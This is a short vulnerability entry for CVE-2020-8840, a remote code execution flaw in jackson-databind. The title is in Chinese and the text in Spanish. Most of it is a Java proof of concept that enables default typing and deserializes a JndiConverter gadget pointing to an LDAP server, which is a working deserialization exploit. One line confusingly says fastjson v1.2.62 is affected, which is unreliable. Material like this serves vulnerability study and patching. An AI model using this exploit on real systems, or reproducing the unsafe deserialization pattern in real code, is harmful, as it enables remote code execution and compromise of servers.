CVE-2020-8840_FasterXML_jackson-databind_遠程代碼執行漏洞_es

# CVE-2020-8840 FasterXML jackson-databind 遠程代碼執行漏洞/es

== Impacto de la vulnerabilidad ==
jackson-databind 2.0.0 – 2.9.10.2

Se ha verificado que fastjson afecta a la última versión de fastjson v1.2.62 cuando la función autoType está activada

==POC==

import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Poc {
   public static void main(String args[]) {
       ObjectMapper mapper = new ObjectMapper();

       mapper.enableDefaultTyping();

       String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/ExportObject\"}]";

       try {
           mapper.readValue(json, Object.class);
       } catch (IOException e) {
           e.printStackTrace();
       }

   }
}